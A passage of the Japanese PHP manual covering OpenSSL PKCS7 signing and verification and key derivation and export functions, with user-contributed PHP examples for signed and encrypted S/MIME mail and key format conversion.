        PKCS7_BINARY
        );

    // convert PEM to DER
    $pem_data = file_get_contents( $file_sign );
    $begin = "Content-Transfer-Encoding: base64";
    $pem_data = trim( substr($pem_data, strpos($pem_data, $begin)+strlen($begin)) );
    $der = base64_decode( $pem_data );

    $fp = fopen( $file_bsign, "w" );
    if ( $fp ) {
        fwrite($fp, $der );
        fclose($fp);
        }

    // you could verify correct DER signature by:
    // % openssl smime -verify -CAfile $MY_PUBLIC_KEY -inform DER -in $file_bsign

    //encrypt the message, with Paypal public key
    openssl_pkcs7_encrypt(
        $file_bsign,
        $file_enc,
        $PAYPAL_PUBLIC_KEY,
        array(),
        PKCS7_BINARY,
        OPENSSL_CIPHER_3DES  );

    $data = file_get_contents( $file_enc );
    $data = substr($data, strpos($data, $begin)+strlen($begin));
    $data = "-----BEGIN PKCS7-----\n".  trim( $data ) . "\n-----END PKCS7-----";

    // cleanup
    if ( file_exists( $file_msg ) ) unlink( $file_msg );
    if ( file_exists( $file_sign ) ) unlink( $file_sign );
    if ( file_exists( $file_bsign ) ) unlink( $file_bsign );
    if ( file_exists( $file_enc ) ) unlink( $file_enc );

    return( $data );
}
Anonymous 08-Feb-2013 04:35
A note about the $flags parameter: PKCS7_BINARY has 2 effects:
* converts LF to CR+LF, as described in http://www.php.net/manual/en/openssl.pkcs7.flags.php
* it creates an opaque pkcs7 signature (p7m)

If you want to prevent the LF->CR+LF conversion *and* still have a detached signature (p7s), use PKCS7_BINARY | PKCS7_DETACHED (both flags are set).

If the signed message is already MIME multi-part, using both flags as described above seems to be the right solution to assemble the message properly. Without any flags, apparently only some of the LF characters are converted. In a specific scenario (the local MTA is Postfix and then the message goes through sendmail on another machine), the MIME boundaries get scrambled in sendmail. However, this doesn't seem to happen if the local MTA is sendmail.
ungdi at hotmail dot com 11-Feb-2010 05:34
Amongst the many discussions about signing or encrypting email by itself, none really discuss the pain of having an email BOTH signed AND encrypted.

According to RFC 2311, you can encrypt then sign or sign then encrypt. However, it depends on the client in which you are programming for. In my experience, in Outlook 2000, it prefers it Encrypt then Sign. While in Outlook 2003, it is Sign then Encrypt. Generally, you want Sign then Encrypt, as it seems most logical from a snail-mail piece point of view. You first sign a letter than put it in an envelope. Certain clients complain if you do it in an order it does not like, so you may want to experiement with it.

When you perform the first function, do NOT put in any headers in the headers array parameters, you want to put it in the SECOND function you want to perform. If you put the headers in the first function, the second function will hide it from the mail servers. You do not want that. Here I will sign then encrypt.

<?php
// Setup mail headers.
$headers = array("To" => "someone@nowhere.net",
     "From" => "noone@somewhere.net",
     "Subject" => "A signed and encrypted message.");

// Sign the message first
openssl_pkcs7_sign("msg.txt","signed.txt",
     "signing_cert.pem",array("private_key.pem",
     "password"),array());

// Get the public key certificate.
$pubkey = file_get_contents("cert.pem");

//encrypt the message, now put in the headers.
openssl_pkcs7_encrypt("signed.txt", "enc.txt",
     $pubkey,$headers,0,1);

$data = file_get_contents("enc.txt");

// separate header and body, to use with mail function
//  unfortunate but required, else we have two sets of headers
//  and the email client doesn't decode the attachment
$parts = explode("\n\n", $data, 2);

// send mail (headers in the Headers parameter will override those
//  generated for the To & Subject parameters)
mail($mail, $subject, $parts[1], $parts[0]);
?>

Note that if you use a function that picks up the data from the disk to be used in another function in your program, remember that you may have used the explode("\n\n",$data,2) function which may have removed the spacing between the header and the message content.

When you take the signed message and feed it in to the encryption part, you have to remember that the line spacing must also be fed AS PART OF THE MESSAGE BODY! If you plan to sign then encrypt, do not feed the header output from the signing into the encrypting as part of the headers array parameter! The output of the signing should stay as part of the message body being encrypted. (And the same is true if you are doing the reverse of encrypting then signing.) An example of both the signing and encryption function made in to a routine for reusability, and then called to sign and encrypt a message.

THIS IS WRONG!:
<?php
// [0] of Array contains headers of message. [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,$headers);

// [0] of Array contains headers of message and the signing.
// [1] of Array contains encrypted body of message without the signing header.
$signedAndEncryptedArray = encryptMessage($signedOutputArray[1],
     $signedOutputArray[0]);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
      $signedAndEncryptedArray[0]);
?>

THIS IS CORRECT!
<?php
// [0] of Array contains headers of signing.
// [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,array());

// [0] of Array contains headers of message.
// [1] of Array contains encrypted contents of both the signed message and its headers of the signing.
$signedAndEncryptedArray =
     encryptMessage($signedOutputArray[0] . "\n\n" . $signedOutputArray[1],$headers);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
     $signedAndEncryptedArray[0]);
?>
yurchenko dot anton at gmail dot com 01-Feb-2009 10:13
I also spent hours when trying to find the reason of error:
"error getting private key".

Sometimes this error appeared, sometimes not.

My solution is using the realpath() for every parameter of openssl_pkcs7_sign. In my case the code looks like:

<?php
$Certif_path = 'certificate/mycertificate.pem';

$clearfile = "certificate/random_name";
$encfile = $clearfile . ".enc";
$clearfile = $clearfile . ".txt";

// ----
// -- fill $clearfile with the mail to be signed ...
// ----

openssl_pkcs7_sign(realpath($clearfile),
                           realpath('.').'/'.$encfile, // because $encfile does not exist yet we cannot use realpath($encfile);
                           'file://'.realpath($Certif_path),

                           array('file://'.realpath($Certif_path), PUBLIC_KEY),

                           array("To" => TO_EMAIL,
                                 "From" => FROM_EMAIL,
                                 "Subject" => ""),

                           PKCS7_DETACHED));

?>
ungdi at hotmail dot com 10-Feb-2007 01:10
I would like to make a modification from my previous note. Some clients prefer a certain order in which messages should be signed and encrypted (if both is desired). Newer email clients, such as Thunderbird and Outlook 2003 will accept the most secure method of "sign -> encrypt -> sign again".

Why?

The first signing authenticates the message saying that you did indeed write it. Then the email is encrypted so that only the recipient can open and read it. Then the second signing ensure confidentiality by identifying that the person encrypting is the one whom encrypted it, a message intended for the decrypting person. This is the most secure method. This ensures: Non-Repudiation of message (first sign), Confidentiality (encrypt), and Context Integrity [you were intended to be addressed] (second sign).

If you only sign then encrypt, there is no way you can guarantee that (aside from the contents of the letter, headers are placed in plain text outside the message) that the message was intended for you by the original sender. For example:

Bob signs a love letter and encrypts it to Amy saying only "I love you. -- Bob". Amy decrypts it, sees the message (and plays a joke) and forwards the message to John using John's public key, re-encrypting, but not tampering with the message contents keeping the signature valid. This allows Amy to make it look like Bob sent John a love letter and that Bob loves John, as you cannot verify whom sent it during encryption. That is not what you want!

This is also analogous to someone taking a government document, put it in an envelope themselves and write the government address in the return address and send it to you. You know the letter is written by the government, but you don't know for sure whether the government sent it to you directly or was opened and relayed.

While encrypting then signing has a problem, this is affectively signing on the envelope of a snail mail piece. I know you sent it, but is the message really from you? Or are you forwarding it?

Sign - Encrypt - Sign Again method will make the first sign show that you know the writer of the message is the person, encrypt it to keep others from reading it, sign again to indicate the message was not relayed and that the sender intended to sent the mail to address you.

Just make sure the headers of the mail is applied in the last step and not the second or third step.

For more information about the security and integrity risks of this situation, please read this web page: http://world.std.com/~dtd/sign_encrypt/sign_encrypt7.html
dmitri at gmx dot net 04-Apr-2006 01:01
Working example:

<?php

$data = <<< EOF
Content-Type: text/plain;
    charset="us-ascii"
Content-Transfer-Encoding: 7bit

You have my authorization to spend 10,000 on dinner expenses.
The CEO
EOF;

$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

$headers = array("From" => "me@email.com");

openssl_pkcs7_sign("msg.txt", "signed.txt", "file://email.pem", array("file://email.pem", "123456"), $headers);

$data = file_get_contents("signed.txt");

$parts = explode("\n\n", $data, 2);

mail("you@email.com", "Signed message.", $parts[1], $parts[0]);

echo "Email sent";

?>
maarten at xolphin dot nl 11-Feb-2005 02:24
It is also possible to sign message including attachments. An easy way to do this:

<?php
  $boundary = md5(uniqid(time()));
  $boddy = "MIME-Version: 1.0\n";
  $boddy .= "Content-Type: multipart/mixed; boundary=\"" . $boundary. "\"\n";
  $boddy .= "Content-Transfer-Encoding: quoted-printable\n\n";
  $boddy .= "This is a multi-part message in MIME format.\n\n";
  $boddy .= "--$boundary\n";
  $boddy .= "Content-Type: text/plain; charset=\"iso-8859-1\"\n";
  $boddy .= "Content-Transfer-Encoding: quoted-printable\n\n";
  $boddy .= $EmailText . "\n\n";
  // Add the attachment to the message
  do  {
    $boddy .= "--$boundary\n";
    $boddy .= "Content-Type: application/pdf; name=\"FileName\"\n";
    $boddy .= "Content-Transfer-Encoding: base64\n";
    $boddy .= "Content-Disposition: attachment;\n\n";
    $boddy .= chunk_split(base64_encode($file)) . "\n\n";
  } while ( {files left to be attached} );
  $boddy .= "--$boundary--\n";

  // Save message to a file
  $msg = 'msg.txt';
  $signed = 'signed.txt';
  $fp = fopen($msg, "w");
  fwrite($fp, $boddy);
  fclose($fp);

  // Sign it
  if (openssl_pkcs7_sign($msg, $signed, 'file://cert.pem',
    array('file://key.pem', 'test'),
    array("To" => "joes@example.com", // keyed syntax
         "From: HQ <ceo@example.com>", // indexed syntax
         "Subject" => "Eyes only"), PKCS7_DETACHED, 'intermediate_cert.pem' )) {
    exec(ini_get('sendmail_path') . ' < ' . $signed);
  }
?>

The same can be established by using the PEAR package Mail_Mime in combination with openssl_pkcs7_sign.
Maciej_Niemir at ilim dot poznan dot pl 17-Oct-2003 07:46
This command doesn't work correctly on WIN32 with IIS. Mails aren?t interpreted correctly by IIS SMTP Server (and by Outlook too). The reason is that UNIX and WINDOWS interpret the ?enter to the next line? ascii code in a different way.

Below I present an improved code:

<?php

$data = <<<EOD

Testing 123

This is a test

Test

EOD;

//save the message to a file
$fp = fopen("msg.txt","w");
fwrite($fp,$data);
fclose($fp);

//sign the message using the sender's keys
openssl_pkcs7_sign("msg.txt", "signed.eml", "file://c:/max/cert.pem",
array("file://c:/max/priv.pem","your_password"),
array("To" => "recipient <recipients@mail.com>",
"From" => "sender <sender@mail.com>",
"Subject" => "Order Notification - Test"),PKCS7_DETACHED,"c:\max\extra_cert.pem");

$file_arry = file("signed.eml");
$file = join ("", $file_arry);
$message = preg_replace("/\r\n|\r|\n/", "\r\n", $file);

$fp = fopen("c:\Inetpub\mailroot\Pickup\signed.eml", "wb");
flock($fp, 2);
fputs($fp, $message);
flock($fp, 3);
fclose($fp);

?>

Besides, if you want to use the keys created with Windows, you should export them (from IE) to the form of PKCS#12 file (*.pfx).

Install OpenSSLWin32 from
http://www.shininglightpro.com/search.php?searchname=Win32+OpenSSL

execute: openssl.exe

enter the commands:

pkcs12 -in <pfx-file> -nokeys -out <pem-certs-file>

pkcs12 -in <pfx-file> -nocerts -nodes -out <pem-key-file>

Next export from IE Root CA certificate as Base-64 *.cer and rename the file to *.pem

And that's all!
php at toyingwithfate dot com 23-Sep-2003 02:55
It's probably worth noting that I had a great deal of difficulty getting either Mozilla 1.4 or Outlook Express 6 to verify signatures generated by openssl_pkcs7_sign() until I added a newline (\n) to the beginning of the message I was signing.  Not sure why that is, but as soon as I made that change all problems disappeared.
del at babel dot com dot au 03-May-2002 03:09
The "mycert.pem" parameters as shown in the example above are not correct.  You either have to pass a string containing the PEM encoded certificate or key, or the location of a file in file://path/to/file.pem notation.  See the comments on the OpenSSL functions page (the page above this one).
meint dot post at bigfoot dot com 04-Sep-2001 04:35
If you want to integrate PKCS7 signing/verifying with a browser and it's not a problem that it's only Internet Explorer (or Netscape + ActiveX plugin) you can look at Capicom. It's a free component and available at the MSDN website.


S/MIME で署名されたメッセージの署名を検証する

  • ≪ openssl_pkcs7_sign
  • openssl_pkey_derive ≫
  • PHP Manual
  • OpenSSL 関数
  • S/MIME で署名されたメッセージの署名を検証する

openssl_pkcs7_verify

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_pkcs7_verify — S/MIME で署名されたメッセージの署名を検証する

説明

openssl_pkcs7_verify ( string $input_filename , int $flags , string|null $signers_certificates_filename = null , array $ca_info = [] , string|null $untrusted_certificates_filename = null , string|null $content = null , string|null $output_filename = null ) : bool|int

openssl_pkcs7_verify() は、 指定したファイルの S/MIME メッセージを読み込み、デジタル署名を検証します。

パラメータ

input_filename

メッセージへのパス。

flags

flags により署名の検証方法を指定することが可能です。 詳細については、PKCS7 定数 を参照ください。

signers_certificates_filename

signers_certificates_filename が指定された場合、 メッセージに署名した人の証明書が PEM 形式で保存された ファイルの名前を含む文字列でなければなりません。

ca_info

ca_info が指定された場合、 検証に使用する信頼された CA 証明書に関する情報を適用する必要があります。 このパラメータに関するより詳細な情報については、 証明書の検証 を参照ください。

untrusted_certificates_filename

untrusted_certificates_filename が指定された場合、 これは信頼されていない CA と見なす一連の証明書を含んだ ファイルの名前となります。

content

ファイル名とともに content を指定すると、検証したデータがここに格納されます。 格納する際に、署名情報は除去されます。

output_filename

返り値

署名が検証された場合は true、正しくない場合 (メッセージが改暫されたか署名に用いられた証明書が無効) は false、 エラーの場合に -1 を返します。

変更履歴

バージョン | 説明
8.0.0 | signers_certificates_filename, untrusted_certificates_filename, content, output_filename は、nullable になりました。
7.2.0 | output_filename パラメータが追加されました。

注意

注意: RFC 2045 にあるように、 input_filename パラメータのファイル名が 76 文字より長くなってはいけません。

User Contributed Notes

reg1barclay at REMOVETHIS dot live dot it 08-Sep-2018 06:05
To verify a .p7m file with openssl_pkcs7_verify() you must convert it to S/MIME format. For example...
<?php
function der2smime($file)
{
    $to=<<<TXT
MIME-Version: 1.0
Content-Disposition: attachment; filename="smime.p7m"
Content-Type: application/x-pkcs7-mime; smime-type=signed-data; name="smime.p7m"
Content-Transfer-Encoding: base64
\n
TXT;
    $from=file_get_contents($file);
    $to.=chunk_split(base64_encode($from));
    return file_put_contents($file,$to);
}
?>
Krzychu 06-Dec-2013 09:34
To read signed message in base64 (not encrypted with priv&pub key):

You can just decode content by "base64_decode" or "imap_base64" functions and then erase by hand(regexp) sign from bottom of mail. Unfortunately  in my case (mail from Outlook) that  message (decoded by "base64_decode") has some additional special chars in some places (ie. before every attachment encoded base_64) what make message e-mail unable to parse.

After couple of hours I solved this:
It's needed to save single e-mail and use 2x "openssl_pkcs7_verify" function in row on original email (with headers and content in base64 ):
  1st use - extract sign (certificate) from e-mail and save to file *.cert
  2nd use - extract (with use that *.cert file) decoded message to  file*.out

Code:
  $handle  =  imap_open('mailbox.eml', '', '');

  $msg = 'home/john/tmp/email1.eml';
  imap_savebody($handle, $msg,  1);

  openssl_pkcs7_verify($msg, 0, $msg . '.cert');
  openssl_pkcs7_verify($msg, 0, $msg . '.cert', array(), $msg . '.cert', $msg.'.out');

  $email_content = file_get_contents($msg . '.out');


リモートとローカルの DH/ECDH鍵 の公開値のための、共有シークレットを計算する

  • ≪ openssl_pkcs7_verify
  • openssl_pkey_export_to_file ≫
  • PHP Manual
  • OpenSSL 関数
  • リモートとローカルの DH/ECDH鍵 の公開値のための、共有シークレットを計算する

openssl_pkey_derive

(PHP 7 >= 7.3.0, PHP 8)

openssl_pkey_derive — リモートとローカルの DH/ECDH鍵 の公開値のための、共有シークレットを計算する

説明

openssl_pkey_derive ( OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $public_key , OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key , int $key_length = 0 ) : string|false

openssl_pkey_derive() 関数は、 public_key と private_key を受け取り、 DH または EC鍵のための共有シークレットを生成します。

パラメータ

public_key

public_key は、共有シークレットを生成するための公開鍵です。 有効な値については、 キー/証明書パラメータ を参照して下さい。

private_key

private_key は、共有シークレットを生成するための秘密鍵です。 有効な値については、 キー/証明書パラメータ を参照して下さい。

key_length

0でない場合、生成するシークレットの長さを指定します。

返り値

成功時には、生成されたシークレットを返します。 失敗した場合に false を返します.

例

例1 openssl_pkey_derive() 関数の例

<?php
// Load in private key
$priv = openssl_pkey_get_private("-----BEGIN PRIVATE KEY-----
MIICJgIBADCCARcGCSqGSIb3DQEDATCCAQgCggEBAJLxRCaZ933uW+AXmabHFDDy
upojBIRlbmQLJZfigDaSA1f9YOTsIv+WwVFTX/J1mtCyx9uBcz0Nt2kmVwxWuc2f
VtCEMPsmLsVXX7xRUFLpyX1Y1IYGBVXQOoOvLWYQjpZgnx47Pkh1Ok1+smffztfC
0DCNt4KorWrbsPcmqBejXHN79KvWFjZmXOksRiNu/Bn76RiqvofC4z8Ri3kHXQG2
197JGZzzFXHadGC3xbkg8UxsNbYhVMKbm0iANfafUH7/hoS9UjAVQYtvwe7YNiW/
HnyfVCrKwcc7sadd8Iphh+3lf5P1AhaQEAMytanrzq9RDXKBxuvpSJifRYasZYsC
AQIEggEEAoIBAGwAYC2E81Y1U2Aox0U7u1+vBcbht/OO87tutMvc4NTLf6NLPHsW
cPqBixs+3rSn4fADzAIvdLBmogjtiIZoB6qyHrllF/2xwTVGEeYaZIupQH3bMK2b
6eUvnpuu4Ytksiz6VpXBBRMrIsj3frM+zUtnq8vKUr+TbjV2qyKR8l3eNDwzqz30
dlbKh9kIhZafclHfRVfyp+fVSKPfgrRAcLUgAbsVjOjPeJ90xQ4DTMZ6vjiv6tHM
hkSjJIcGhRtSBzVF/cT38GyCeTmiIA/dRz2d70lWrqDQCdp9ArijgnpjNKAAulSY
CirnMsGZTDGmLOHg4xOZ5FEAzZI2sFNLlcw=
-----END PRIVATE KEY-----
");

// Load in public key
$pub = openssl_pkey_get_public("-----BEGIN PUBLIC KEY-----
MIICJDCCARcGCSqGSIb3DQEDATCCAQgCggEBAJLxRCaZ933uW+AXmabHFDDyupoj
BIRlbmQLJZfigDaSA1f9YOTsIv+WwVFTX/J1mtCyx9uBcz0Nt2kmVwxWuc2fVtCE
MPsmLsVXX7xRUFLpyX1Y1IYGBVXQOoOvLWYQjpZgnx47Pkh1Ok1+smffztfC0DCN
t4KorWrbsPcmqBejXHN79KvWFjZmXOksRiNu/Bn76RiqvofC4z8Ri3kHXQG2197J
GZzzFXHadGC3xbkg8UxsNbYhVMKbm0iANfafUH7/hoS9UjAVQYtvwe7YNiW/Hnyf
VCrKwcc7sadd8Iphh+3lf5P1AhaQEAMytanrzq9RDXKBxuvpSJifRYasZYsCAQID
ggEFAAKCAQAiCSBpxvGgsTorxAWtcAlSmzAJnJxFgSPef0g7OjhESytnc8G2QYmx
ovMt5KVergcitztWh08hZQUdAYm4rI+zMlAFDdN8LWwBT/mGKSzRkWeprd8E7mvy
ucqC1YXCMqmIwPySvLQUB/Dl8kgau7BLAnIJm8VP+MVrn8g9gghD0qRCgPgtEaDV
vocfgnOU43rhKnIgO0cHOKtw2qybSFB8QuZrYugq4j8Bwkrzh6rdMMeyMl/ej5Aj
c0wamOzuBDtXt0T9+Fx3khHaowjCc7xJZRgZCxg43SbqMWJ9lUg94I7+LTX61Gyv
dtlkbGbtoDOnxeNnN93gwQZngGYZYciu
-----END PUBLIC KEY-----
");

// Outputs the hex version of the derived key
echo bin2hex(openssl_pkey_derive($pub,$priv));

User Contributed Notes

There are no user contributed notes for this page.


エクスポート可能な形式で、キーをファイルに取得する

  • ≪ openssl_pkey_derive
  • openssl_pkey_export ≫
  • PHP Manual
  • OpenSSL 関数
  • エクスポート可能な形式で、キーをファイルに取得する

openssl_pkey_export_to_file

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_pkey_export_to_file — エクスポート可能な形式で、キーをファイルに取得する

説明

openssl_pkey_export_to_file ( OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $key , string $output_filename , string|null $passphrase = null , array|null $options = null ) : bool

openssl_pkey_export_to_file() は、ASCII 変換された (PEM エンコードされた) key を output_filename のファイルに保存します。

注意: この関数を正しく動作させるには、正しい形式の openssl.cnf をインストールしておく必要があります。 詳細な情報は、インストールについてのセクション を参照ください。

パラメータ

key

output_filename

出力ファイルへのパス。

passphrase

オプションで passphrase を使用してキーを保護することが可能です。

options

options により openssl 設定ファイルの設定を 追加したり上書きしたりすることで、エクスポート処理の詳細設定が可能です。 options についての詳細な情報は openssl_csr_new() を参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | key は、 OpenSSLAsymmetricKey または OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key または OpenSSL X.509 型のリソースを受け入れていました。

User Contributed Notes

StampyCode 05-Jul-2016 03:26
On Linux (PHP5.6), this function will overwrite an existing keyfile, unless the keyfile is marked as read-only, in which case you will get an error:

    error:0200100D:system library:fopen:Permission denied
w3ricardo 27-Feb-2012 08:21
You can't use this function to export a public key

Warning: openssl_pkey_export_to_file(): supplied key param is a public key


エクスポート可能な形式で、キーを文字列に取得する

  • ≪ openssl_pkey_export_to_file
  • openssl_pkey_free ≫
  • PHP Manual
  • OpenSSL 関数
  • エクスポート可能な形式で、キーを文字列に取得する

openssl_pkey_export

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_pkey_export — エクスポート可能な形式で、キーを文字列に取得する

説明

openssl_pkey_export ( OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $key , string &$output , string|null $passphrase = null , array|null $options = null ) : bool

openssl_pkey_export() は、 key を PEM エンコードした文字列として取得し、 output（参照渡し）に格納します。

注意: この関数を正しく動作させるには、正しい形式の openssl.cnf をインストールしておく必要があります。 詳細な情報は、インストールについてのセクション を参照ください。

パラメータ

key

output

passphrase

オプションで passphrase を使用してキーを保護することが可能です。

options

options により openssl 設定ファイルの設定を 追加したり上書きしたりすることで、エクスポート処理の詳細設定が可能です。 options についての詳細な情報は openssl_csr_new() を参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | key は、 OpenSSLAsymmetricKey または OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key または OpenSSL X.509 型のリソースを受け入れていました。

User Contributed Notes

eric at ericseastrand dot com 12-Apr-2012 11:49
I kept banging my head against the wall today trying to figure out why the RSA keys I was generating were encrypted (they have this stuff in them)
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,BEA1180EADE1524F

I finally realized that the issue was that I was passing a password into the "openssl_pkey_export" method inadvertently.

So the moral of the story is: you have to use NULL as the password. using an empty string will still cause the key to be encrypted.
chris dot kistner at gmail dot com 13-Jan-2011 08:51
Please take note that older versions of PHP/OpenSSL exports the RSA private key with '-----BEGIN RSA PRIVATE KEY-----' PEM tag, which includes just the privateKey field, thus omitting the version and privateKeyAlgorithm fields.

The effect of that would be that if you're converting it to DER, and then back to PEM, but using '-----BEGIN PRIVATE KEY-----' PEM tag, that the openssl_pkey_get_privatekey() function will fail!

Senthryl's code can be used to prefix the PEM encoded data with the version and privateKeyAlgorithm fields again.

The newer PHP/OpenSSL versions exports the RSA private key with '-----BEGIN PRIVATE KEY-----' PEM tag, which includes the version and privateKeyAlgorithm fields.

I noticed these differences between my two servers:
PHP Version 5.3.3 (OpenSSL 1.0.0a-fips 1 Jun 2010) on Fedora Core 12 x64
PHP Version 5.2.9 (OpenSSL 0.9.8g 19 Oct 2007) on Fedora Core 10 x64
Senthryl 25-Jan-2010 11:06
This function can be used to create a private key for use by JCE in Java.  For example, a private key could be generated by a PHP script and the result could be used in a Java client application.

Java requires the private key in DER format with some extra ASN.1 wrapping.  The function below can be used to convert the output of openssl_pkey_export into a format suitable for input into JCE:

<?php
    function derLength($length) {
        if ($length < 128) return str_pad(dechex($length), 2, '0', STR_PAD_LEFT);
        $output = dechex($length);
        if (strlen($output) % 2 != 0) $output = '0'.$output;
        return dechex(128 + strlen($output)/2) . $output;
    }
    function convertPemToDer($pem) {
        $matches = array();
        if (!preg_match('~^-----BEGIN ([A-Z ]+)-----\s*?([A-Za-z0-9+=/\r\n]+)\s*?-----END \1-----\s*$~D', $pem, $matches)) {
            die('Invalid PEM format encountered.'."\n");
        }
        $derData = base64_decode(str_replace(array("\r", "\n"), array('', ''), $matches[2]));
        $derData = pack('H*', '020100300d06092a864886f70d010101050004'.derLength(strlen($derData))) . $derData;
                $derData = pack('H*', '30'.derLength(strlen($derData))) . $derData;
                return $derData;
    }
?>

Example use:
<?php
    $keys = openssl_pkey_new(array('digest_alg' => 'sha1', 'private_key_type' => OPENSSL_KEYTYPE_RSA, 'private_key_bits' => 2048));
    if ($keys === false) die('Failed to generate key pair.'."\n");
    if (!openssl_pkey_export($keys, $privateKey)) die('Failed to retrieve private key.'."\n");
    $javaKey = convertPemToDer($privateKey);

    file_put_contents('key_for_java.der', $javaKey);
?>

Exporting a public key for use with JCE is trickier, since the Java libraries require the key to be input as a byte array.  In effect, the public key outputted by openssl_pkey_get_details() must be base64 decoded as above, and then parsed as ASN.1 to receive the actual key bytes (this can be done either on the PHP side or the Java side).

The following link is an invaluable resource to understanding the output from these functions:
"A Layman's Guide to a Subset of ASN.1, BER, and DER"
http://luca.ntop.org/Teaching/Appunti/asn1.html
Tk at phpRocks dot net 02-May-2009 07:58
Complete example to encrypt data...
=)
<pre>
<?php
// Create the keypair
$res=openssl_pkey_new();

// Get private key
openssl_pkey_export($res, $privkey, "PassPhrase number 1" );

// Get public key
$pubkey=openssl_pkey_get_details($res);
$pubkey=$pubkey["key"];
//var_dump($privkey);
//var_dump($pubkey);

// Create the keypair
$res2=openssl_pkey_new();

// Get private key
openssl_pkey_export($res2, $privkey2, "This is a passPhrase *μa" );

// Get public key
$pubkey2=openssl_pkey_get_details($res2);
$pubkey2=$pubkey2["key"];
var_dump($privkey2);
var_dump($pubkey2);

$data = "Only I know the purple fox. Trala la !";

openssl_seal($data, $sealed, $ekeys, array($pubkey, $pubkey2));

var_dump("sealed");
var_dump(base64_encode($sealed));
var_dump(base64_encode($ekeys[0]));
var_dump(base64_encode($ekeys[1]));

// decrypt the data and store it in $open
if (openssl_open($sealed, $open, $ekeys[1], openssl_pkey_get_private  ($privkey2  ,"This is a passPhrase *μa" ) ) ) {
    echo "here is the opened data: ", $open;
} else {
    echo "failed to open data";
}

?>
</pre>

Outputs :
string(963) "-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,DA1943487C9C83B2

1/j65PJgfYqYMJSWRBk9UzXaa3USMdpkq4ztzL7IPMTPgTwVKxZbvBxzsGUXUmh6
dkWpF1jzi3B44o06mw55t2LHNkGAph/iKVP4Zvnyp/KWaZJSF+pNkvukle1u2/40
WpbNy1f8LA+ZDr7ICOCY1jy/bz/xzOCrVjqY/F4ukQik9M6bL9ZwI5fyhrcHq6EG
KsUX49XKtP/a+kQhluejzIw1aDBqmHpJTCzkL7teCk6l8x8r8mMmss1D9XqggjFm
TQncqR6IU5DClklO53JdWSFC5zTcFYMgq9lMwCQ5o4bs8iBKiE+TOFEKiggtn5zA
v189tlPtM6YePcXAm5Ymgy90Ovq3lGS4k+JkCB2Hm3HgUAB3pd9v3fOeyuFMeing
XHBuLR5nmWITzcfRuAsh0p9xe2puTVFdrLkrQFnh5Xkerm+YUQ6oTecTKRFq7S3l
hLlFIg7KbXxDjg3H5f87DCEp/isV70Rc7flvIBP6u5GX+GrmCFWjQxmGefEJQ5fZ
P7sOzHEdkOHZV7yYn+5MwQ4vDHLKQxvMqUolgvuEAzcL1o976KHAQP0accmwApXz
jry3zVqRnGvyPHo+nGwRiATJj0lAgX/j8cghJg+oo+TiXD2cM5i+Hut4dmImZNDL
3Fn2uLzklQHPlaoaz2dACyaN/sUtmVLtdnn00nuwIy2xDfHDl9MOQ6WHocU78DWo
Mw+x8B+SBsALm3Ah6JzqA8l3OAYSRxjp7YQXLQLkdCi7jEjjTl/0NVTnqU+W89XB
GBH3r8ZgIpifl3M7ZYTKLnToNL7Y/AehPs+tKgFHkXtGMKu4cIt9Ag==
-----END RSA PRIVATE KEY-----
"
string(272) "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDH82E/Dn37torKz/vhAkpji9ZS
HCyfM7JuXCbh70F75Zh2/rEVvz38yNf6f01DNXiSpzO5eTmoXD7Blsb635AOjYbl
X/WljpFbwQ2QUUDlNDAslrqXYlMzht2MCq/pjtGgk0zJx6i+HjFyV7mebeePQY/x
NOzMpmy/Ke3u+SSHRwIDAQAB
-----END PUBLIC KEY-----
"
string(6) "sealed"
string(52) "y4L3+SDVJwTfa9Em61R3X2p/LElr8N/xPCXw8kqm0co4bn3V1Tw="
string(172) "ezUo2rWLGHPv9bHE5gG8fe5qy8erGlITsSs+qGr2o8aoi98SLnyIFm4N
EQWJrmU43Ehlw72NujJ
B8chYNw2NkIDfaLChvLH54CBuCfyuF+1lWEAUwL8
FU1LftqIIt1ikjSu/8qFU6S6wikJx1pFf1IbXfOeeJVvZ1UJM2rBbudI="
string(172) "RPYLXGBXDnXDIUrFy1/GOM+//Ew/mn2syKDbhIegOJJPnpd
X6ffwXkWH5Bp8kOdz0aO9gK3whG+c
/QF+9eqcTw9SvvlrDqsP0gkRGNIOgMUiBFLoMT92JQWSI7ZesDAU0
JPRWpXsKaIOEkBGmxOMYfEd6OJWp0Mwe4COL3lP2PQ="
here is the opened data: Only I know the purple fox. Trala la !
07-May-2007 12:31
you can get public key using openssl_pkey_get_details(resource $key ) function:

<?php

$pub_key = openssl_pkey_get_public(file_get_contents('./cert.crt'));
$keyData = openssl_pkey_get_details($pub_key);
fule_put_contents('./key.pub', $keyData['key']);

?>
robbat2 at gentoo dot org 09-Aug-2004 11:47
Warning, this function is NOT capable of exporting PEM-encoded public keys. It can only export private keys.


秘密鍵を開放する

  • ≪ openssl_pkey_export
  • openssl_pkey_get_details ≫
  • PHP Manual
  • OpenSSL 関数
  • 秘密鍵を開放する

openssl_pkey_free

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_pkey_free — 秘密鍵を開放する

警告

この関数は PHP 8.0.0 で 非推奨になります。この関数に頼らないことを強く推奨します。

説明

openssl_pkey_free ( OpenSSLAsymmetricKey $key ) : void

